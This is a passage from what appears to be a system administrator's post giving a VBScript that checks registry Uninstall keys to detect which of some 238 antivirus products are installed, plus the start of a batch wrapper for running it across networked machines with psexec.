    Keys(194)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallWIX_{D0DCD54F-C829-41A5-AF32-71E632BB0E2C}"

    AppName(195)="Kaspersky Anti-virus 6.0.3.837"
    Keys(195)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallWIX_{79B986AD-54D8-4498-AA06-89808829ACC0}"

    AppName(196)="Tegam ViGUARD 9.25e for Windows NT"
    Keys(196)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViGUARD"

    AppName(197)="Grisoft AVG 6.0"
    Keys(197)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG6INSTALL"

    AppName(198)="Grisoft AVG 7.0"
    Keys(198)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG7Uninstall"

    AppName(199)="Grisoft AVG 8.0"
    Keys(199)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVG8Uninstall"

    AppName(200)="PER Antivirus"
    Keys(200)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PER Antivirus"

    AppName(201)="The Hacker Anti-Virus 5.5"
    Keys(201)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\The Hacker Exchange"

    AppName(202)="ALWIL Avast 4.6 NT"
    Keys(202)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\avast!"

    AppName(203)="eSafe Desktop v3"
    Keys(203)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eSafe Protect"

    AppName(204)="Norman Virus Control"
    Keys(204)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{74C8BF56-6618-49AA-98BA-862223900CBF}"

    AppName(205)="Norman Virus Control 5.90 Single User"
    Keys(205)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{45AB1603-3EBD-4F78-9A0B-392FC8C23B7A}"

    AppName(206)="Norman Virus Control 5.99.0600 Single/Corporate"
    Keys(206)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{704C87B4-B089-4415-BCE0-CBE76172F104}"

    AppName(207)="Norman Virus Control 5.90 Corporate"
    Keys(207)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A0C4D811-D09C-4D4C-AD7E-3D761AE34A6D}"

    AppName(208)="Armour Virus Control 5.8"
    Keys(208)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{47D8CF23-D22D-4CE7-B2B3-00634C99985F}"

    AppName(209)="ESET Smart Security 3.0.621.0"
    Keys(209)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A1350B64-1AF8-497B-AC07-307DF67FB8D4}"

    AppName(210)="ESET Smart Security 3.0.650.0"
    Keys(210)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9DE8D465-A169-4CC7-BAF7-CDD1C9E2EE56}"

    AppName(211)="ESET NOD32 Antivirus 3.0.684.0"
    Keys(211)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4EAE8F8E-0C2E-4814-9A04-635AFB9050AA}"

    AppName(212)="ESET NOD32 Antivirus 3.0.667.0"
    Keys(212)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BE09EE20-119D-46FB-8562-0AE27B7E4763}"

    AppName(213)="ESET NOD32 Antivirus 3.0.621.0"
    Keys(213)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57ECFB4D-FE11-491A-9AA0-0AF7C3ABC51D}"

    AppName(214)="ESET NOD32 Antivirus 3.0.650.0"
    Keys(214)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{86A6E235-C08F-4A14-B14C-793C7D8844A0}"

    AppName(215)="NOD32 AV 3.2.642.0"
    Keys(215)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D974ACA-4EE5-412C-8E6A-A5B57B305727}"

    AppName(216)="NOD32 AV"
    Keys(216)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NOD32"

    AppName(217)="F-Prot for Windows"
    Keys(217)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9FD12630-1991-46F5-8479-92DE1EAE87DA}"

    AppName(218)="Hauri VMS 2.0"
    Keys(218)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VMS Client 2.0"

    AppName(219)="Sophos Remote Update NT"
    Keys(219)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Remote Update"

    AppName(220)="Spybot Search & Destroy 1.3/1.4"
    Keys(220)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Spybot – Search & Destroy_is1"

    AppName(221)="Virus Buster 2001"
    Keys(221)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\{C90F3E44-3BF6-11D4-A110-00500405613A}"

    AppName(222)="Virus Buster 2000"
    Keys(222)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?000"

    AppName(223)="Virus Buster 2000 for NT ver.1.20-"
    Keys(223)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9A861F26-E6A5-4ABE-A590-8EE405C1B612}"

    AppName(224)="Virus Buster 98 for NT"
    Keys(224)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³¨Ù½ÊÞ½À?8"

    AppName(225)="Virus Buster 98"
    Keys(225)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?98"

    AppName(226)="Virus Buster NT"
    Keys(226)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À°NT"

    AppName(227)="VirusBuster 95 1.0"
    Keys(227)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?95"

    AppName(228)="VirusBuster Lite 1.0"
    Keys(228)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?95 Lite"

    AppName(229)="VirusBuster 97"
    Keys(229)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?97"

    AppName(230)="VirusBuster 97 Lite"
    Keys(230)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\³²Ù½ÊÞ½À?7 Lite"

    AppName(231)="ServerProtect for Windows NT"
    Keys(231)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ServerProtect for NT"

    AppName(232)="McAfee NetShield NT 4.03a"
    Keys(232)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NetShield NT"

    AppName(233)="McAfee NetShield 4.5"
    Keys(233)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\NETSHLD_4500"

    AppName(234)="Microsoft Forefront Client Security Antimalware Service 1.0.1703.0"
    Keys(234)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D3E31640-DC20-4722-A1CF-604FF6C540B0}"

    AppName(235)="Microsoft Forefront Client Security State Assessment Service 1.0.1703.0"
    Keys(235)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8B56B38-A826-11DB-8C83-0011430C73A4}"

    AppName(236)="Microsoft Forefront Client Security Antimalware Service 1.5.1941.9"
    Keys(236)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{436028CD-6476-4224-9274-8F0320F30FD1}"

    AppName(237)="Jiangmin Antivirus kv2008 – DL"
    Keys(237)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\kv2008"


    On Error Resume Next
    Set WshShell = WScript.CreateObject("WScript.Shell")

    i=0
    For Each Key in Keys
        Err.Clear
        WshShell.RegRead Key & ""
        If Err = 0 Then
            WScript.StdOut.Write(vbCRLF & "Detected: " & AppName(i) & vbCRLF & vbCRLF)
        End If
        i=i+1
    Next

    If you want to use psexec with this script to check it against the online machines on your network, either make avscan.vbs accessible to each machine (i.e. from a common share, etc), or use something like this batch file I’ve included below to save the above VBScript temporarily, call it through CScript.exe and then delete the VBS.

    avscan.bat.zip

    @echo off
    if exist temp.vbs del temp.vbs

    echo Dim AppName(237), Keys(237) >temp.vbs

    echo AppName(0)="Trend Micro Internet Security 2009" >>temp.vbs
    echo Keys(0)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{40E12A55-C504-4223-AFAC-7672DBF1ACDE}" >>temp.vbs

    echo AppName(1)="Trend Micro Internet Security 2009 Pro" >>temp.vbs
    echo Keys(1)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{718D791F-F4E8-4aa7-98A6-15FDED17BDD0}" >>temp.vbs

    echo AppName(2)="Trend Micro Internet Security 2008" >>temp.vbs
    echo Keys(2)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A621B45A-D138-4A95-BE10-7CABA05EF94E}" >>temp.vbs

    echo AppName(3)="Trend Micro HouseClean" >>temp.vbs
    echo Keys(3)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{883C6387-AEC1-41C5-B877-4250318B7366}" >>temp.vbs

    echo AppName(4)="Trend Micro Pc-cillin 2007" >>temp.vbs
    echo Keys(4)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB4B6355-D38A-492C-873B-A1B2CF6C3832}" >>temp.vbs

    echo AppName(5)="Trend Micro Pc-cillin 2006" >>temp.vbs
    echo Keys(5)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EA8C73AA-3D75-44C9-87A2-8E945FC5FEE6}" >>temp.vbs

    echo AppName(6)="Trend Micro Pc-cillin 2005" >>temp.vbs
    echo Keys(6)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7698EDA5-A90F-4205-99CB-8FF6F9048ED9}" >>temp.vbs

    echo AppName(7)="Trend Micro Pc-cillin 2004 (AV)" >>temp.vbs
    echo Keys(7)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3ACF3AF1-8DBC-4EFB-AF03-37E212DDA83C}" >>temp.vbs

    echo AppName(8)="Trend Micro Pc-cillin 2004 (TIS)" >>temp.vbs
    echo Keys(8)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3943C4CF-AC42-4E00-8824-25159B8478F1}" >>temp.vbs

    echo AppName(9)="Trend PC-cillin 2003" >>temp.vbs
    echo Keys(9)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CA7FDA46-DFA8-4748-8F2E-8864E545735B}" >>temp.vbs

    echo AppName(10)="Trend PC-cillin 2002" >>temp.vbs
    echo Keys(10)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C90F3E44-3BF6-11D4-A110-00500405613A}" >>temp.vbs

    echo AppName(11)="Trend PC-cillin 2000(WinNT)" >>temp.vbs
    echo Keys(11)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9A861F26-E6A5-4ABE-A590-8EE405C1B612}" >>temp.vbs

    echo AppName(12)="Trend PC-cillin 2000(Win9X)" >>temp.vbs
    echo Keys(12)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 7" >>temp.vbs

    echo AppName(13)="Trend PC-cillin 2000 7.61(WinNT)" >>temp.vbs
    echo Keys(13)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A839294B-70A9-11D5-9F5A-0050DAD742CD}" >>temp.vbs

    echo AppName(14)="Trend PC-cillin 98 Plus(WinNT)" >>temp.vbs
    echo Keys(14)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98 PLUS!" >>temp.vbs

    echo AppName(15)="Trend PC-cillin 98 Plus(Win95)" >>temp.vbs
    echo Keys(15)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98 PLUS!" >>temp.vbs

    echo AppName(16)="Trend PC-cillin NT 6" >>temp.vbs
    echo Keys(16)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 6.0" >>temp.vbs

    echo AppName(17)="Trend PC-cillin 98" >>temp.vbs
    echo Keys(17)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trend PC-cillin 98" >>temp.vbs

    echo AppName(18)="Trend PC-cillin NT" >>temp.vbs
    echo Keys(18)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin NT" >>temp.vbs

    echo AppName(19)="Trend PC-cillin 97 2.0" >>temp.vbs
    echo Keys(19)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin 97" >>temp.vbs

    echo AppName(20)="Trend PC-cillin 97 3.0" >>temp.vbs
    echo Keys(20)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PC-cillin 3.0" >>temp.vbs

    echo AppName(21)="Trend Micro HouseCall Pro" >>temp.vbs
    echo Keys(21)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CC2A3A50-2B1E-4E69-9B87-66264E4811DE}" >>temp.vbs

    echo AppName(22)="eScanWin 8.0.653.1" >>temp.vbs
    echo Keys(22)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eScan Internet Security for Windows_is1" >>temp.vbs

    echo AppName(23)="Norton Internet Security 2005" >>temp.vbs
    echo Keys(23)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{A93C9E60-29B6-49da-BA21-F70AC6AADE20}" >>temp.vbs

    echo AppName(24)="Norton AntiVirus 2005" >>temp.vbs
    echo Keys(24)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6F5B6CF-609C-428E-876F-CA83176C021B}" >>temp.vbs

    echo AppName(25)="Norton AntiVirus 2004 Pro" >>temp.vbs
    echo Keys(25)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6B28661-7910-442E-ADDD-72EAA8395380}" >>temp.vbs

    echo AppName(26)="Norton AntiVirus 2004" >>temp.vbs
    echo Keys(26)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C6F5B6CF-609C-428E-876F-CA83176C021B}" >>temp.vbs

    echo AppName(27)="Norton AntiVirus 2003" >>temp.vbs
    echo Keys(27)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{84555E03-F08E-4B9C-BE83-9D5E77190E89}" >>temp.vbs

    echo AppName(28)="Norton AntiVirus 2003 Professional" >>temp.vbs
    echo Keys(28)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F4C9398F-B6C6-4A4B-8B6D-795CD86F915D}" >>temp.vbs

    echo AppName(29)="Norton AntiVirus 2002 NT" >>temp.vbs
    echo Keys(29)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3075C5C3-0807-4924-AF8F-FF27052C12AE}" >>temp.vbs

    echo AppName(30)="Norton AntiVirus 2001 NT" >>temp.vbs
    echo Keys(30)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus" >>temp.vbs

    echo AppName(31)="Norton AntiVirus 7.5 NT" >>temp.vbs
    echo Keys(31)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BD12EB47-DBDF-11D3-BEEA-00A0CC272509}" >>temp.vbs

    echo AppName(32)="Norton AntiVirus 8.0/8.1 9x" >>temp.vbs
    echo Keys(32)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0EFC6259-3AD8-4CD2-BC57-D4937AF5CC0E}" >>temp.vbs

    echo AppName(33)="Norton AntiVirus 8.1 server" >>temp.vbs
    echo Keys(33)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D2B86CA-2D5D-469E-92ED-E56B62BD1D3C}" >>temp.vbs

    echo AppName(34)="Norton AntiVirus 7.0 NT" >>temp.vbs
    echo Keys(34)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition 7.0 for Windows NT" >>temp.vbs

    echo AppName(35)="Norton AntiVirus 7.0 9X" >>temp.vbs
    echo Keys(35)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition for Windows 7.0" >>temp.vbs

    echo AppName(36)="Norton AntiVirus 6.524" >>temp.vbs
    echo Keys(36)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP" >>temp.vbs

    echo AppName(37)="Norton AntiVirus 5.0 NT" >>temp.vbs
    echo Keys(37)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus" >>temp.vbs

    echo AppName(38)="Norton AntiVirus CE 8.1 server" >>temp.vbs
    echo Keys(38)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7D2B86CA-2D5D-469E-92ED-E56B62BD1D3C}" >>temp.vbs

    echo AppName(39)="Norton AntiVirus CE 8.0 9x" >>temp.vbs
    echo Keys(39)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0EFC6259-3AD8-4CD2-BC57-D4937AF5CC0E}" >>temp.vbs

    echo AppName(40)="Norton AntiVirus CE 7.5 NT" >>temp.vbs
    echo Keys(40)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BD12EB47-DBDF-11D3-BEEA-00A0CC272509}" >>temp.vbs

    echo AppName(41)="Norton AntiVirus CE 7.0 NT" >>temp.vbs
    echo Keys(41)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition 7.0 for Windows NT" >>temp.vbs

    echo AppName(42)="Norton AntiVirus Corporate Edition 7.0 for Windows NT" >>temp.vbs
    echo Keys(42)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition" >>temp.vbs

    echo AppName(43)="Norton AntiVirus CE 7.0 9X" >>temp.vbs
    echo Keys(43)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Norton AntiVirus Corporate Edition for Windows 7.0" >>temp.vbs

    echo AppName(44)="Norton AntiVirus CE 6.524" >>temp.vbs
    echo Keys(44)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP" >>temp.vbs

    echo AppName(45)="LANDesk VirusProtect5.0" >>temp.vbs
    echo Keys(45)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\LDVP 5.0" >>temp.vbs

    echo AppName(46)="Symantec Client Firewall 2004 NT" >>temp.vbs
    echo Keys(46)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A6F7E997-2236-4145-A028-438F2484241A}" >>temp.vbs

    echo AppName(47)="Symantec AntiVirus CE 10.0 NT" >>temp.vbs
    echo Keys(47)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5A633ED0-E5D7-4D65-AB8D-53ED43510284}" >>temp.vbs

    echo AppName(48)="Symantec AntiVirus 10.0.1.1000.1" >>temp.vbs
    echo Keys(48)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3248E093-5288-4CA9-B3AB-11A675FEA1F9}" >>temp.vbs

    echo AppName(49)="Symantec AntiVirus 10.0.2000.2" >>temp.vbs
    echo Keys(49)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{46B63F23-2B4A-4525-A827-688026BE5E40}" >>temp.vbs

    echo AppName(50)="Symantec AntiVirus 10.1.394.0" >>temp.vbs
    echo Keys(50)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A011A1DC-7F1D-4EA8-BD11-0C5F9718E428}" >>temp.vbs

    echo AppName(51)="Symantec AntiVirus 10.1.394.0 DE" >>temp.vbs
    echo Keys(51)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F3F432EE-5C5C-49C8-A267-696A19C642A1}" >>temp.vbs

    echo AppName(52)="Symantec AntiVirus 10.1.4000.4" >>temp.vbs
    echo Keys(52)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{78D891EF-9E2D-4FC8-A71F-E6F897BA1B21}" >>temp.vbs

    echo AppName(53)="Symantec AntiVirus 10.1.6.6000 x32" >>temp.vbs
    echo Keys(53)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{50E125D1-88E5-48CE-80AE-98EC9698E639}" >>temp.vbs

    echo AppName(54)="Symantec AntiVirus 10.2.0.276" >>temp.vbs
    echo Keys(54)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7C9E6E52-EB11-44DB-A761-82D5D873A8D9}" >>temp.vbs

    echo AppName(55)="Symantec AntiVirus 10.0.359.0 x64" >>temp.vbs
    echo Keys(55)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90F96527-C026-4A4C-8995-ACEDA51F9DFC}" >>temp.vbs

    echo AppName(56)="Symantec AntiVirus 10.1.5000.5 x64" >>temp.vbs
    echo Keys(56)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{243FAE07-C20D-46E0-9AE7-6FEE5E1EDAA4}" >>temp.vbs

    echo AppName(57)="Symantec AntiVirus 10.1.6000.6 x64" >>temp.vbs
    echo Keys(57)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D58FCD22-5818-412B-93C3-D03CF3D6A2CE}" >>temp.vbs

    echo AppName(58)="Symantec AntiVirus 10.1.7000.7 x32" >>temp.vbs
    echo Keys(58)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2085C617-589C-40F8-BE40-EDBC9E2CA2EB}" >>temp.vbs

    echo AppName(59)="Symantec AntiVirus 10.1.7000.7 x64" >>temp.vbs
    echo Keys(59)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53373E88-714C-4C90-9FD2-4C51FE115229}" >>temp.vbs

    echo AppName(60)="Symantec AntiVirus 10.2.0.298 x64" >>temp.vbs
    echo Keys(60)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A8D232A5-667B-44C5-AF79-BDFADBFD013B}" >>temp.vbs

    echo AppName(61)="Symantec AntiVirus 9.0.0.338/9.0.210/9.0.310" >>temp.vbs
    echo Keys(61)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{848AC794-8B81-440A-81AE-6474337DB527}" >>temp.vbs

    echo AppName(62)="Symantec AntiVirus 9.0.410" >>temp.vbs
    echo Keys(62)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3E172636-AE83-474A-9D07-E31C22C6DDC2}" >>temp.vbs

    echo AppName(63)="Symantec AntiVirus 9.0.5.1000" >>temp.vbs
    echo Keys(63)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2CFECCAA-8CB0-459B-9636-40430DBC8951}" >>temp.vbs

    echo AppName(64)="Symantec AntiVirus 10.1.5.5000" >>temp.vbs
    echo Keys(64)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{33CFCF98-F8D6-4549-B469-6F4295676D83}" >>temp.vbs

    echo AppName(65)="Symantec Client Security 3.0" >>temp.vbs
    echo Keys(65)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BA4B71D1-898E-4306-AE87-8BA7A596F0ED}" >>temp.vbs

    echo AppName(66)="Symantec Client Security 3.0 NT" >>temp.vbs
    echo Keys(66)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E9FA3047-0B15-4E19-85CE-EE7FC6E60F99}" >>temp.vbs

    echo AppName(67)="Symantec Client Security 2.0.5.1000" >>temp.vbs
    echo Keys(67)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64124FBF-0CD8-4BDF-BF2C-587FD458B23A}" >>temp.vbs

    echo AppName(68)="Symantec Client Security 9.0.0.338/2.0.3.1000" >>temp.vbs
    echo Keys(68)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00CD72B3-E2DF-4DFC-BCC1-5CC4F564518D}" >>temp.vbs

    echo AppName(69)="Symantec Client Security 10.0.846.0" >>temp.vbs
    echo Keys(69)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1BA1A958-4BBB-4AB1-9B66-C86CEC6616CB}" >>temp.vbs

    echo AppName(70)="Symantec AntiVirus 9.0.0.338/9.0.210/9.0.310" >>temp.vbs
    echo Keys(70)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{848AC794-8B81-440A-81AE-6474337DB527}" >>temp.vbs

    echo AppName(71)="Symantec AntiVirus 9.0.410" >>temp.vbs
    echo Keys(71)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3E172636-AE83-474A-9D07-E31C22C6DDC2}" >>temp.vbs

    echo AppName(72)="Symantec Client Security 3.1" >>temp.vbs
    echo Keys(72)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0698CECB-9072-47B1-AEA1-94CA350989B8}" >>temp.vbs

    echo AppName(73)="Symantec Endpoint Protection 11.0.2020.56" >>temp.vbs
    echo Keys(73)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB0500E8-A6D5-4D66-A4F9-1457530E5B6F}" >>temp.vbs

    echo AppName(74)="Symantec Endpoint Protection 11.0.2000.1567 – 64BIT" >>temp.vbs
    echo Keys(74)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8B5E073-4FB3-4976-B4A8-0DF3CE91E744}" >>temp.vbs

    echo AppName(75)="Symantec Endpoint Protection 11.0.2000.1567" >>temp.vbs
    echo Keys(75)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76B2BC31-2D96-4170-9C44-09E13B5555F3}" >>temp.vbs

    echo AppName(76)="Symantec AntiVirus 11.0.714.839 Public Beta" >>temp.vbs
    echo Keys(76)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9CEDDB8F-390F-47CC-A080-33D32F365E09}" >>temp.vbs

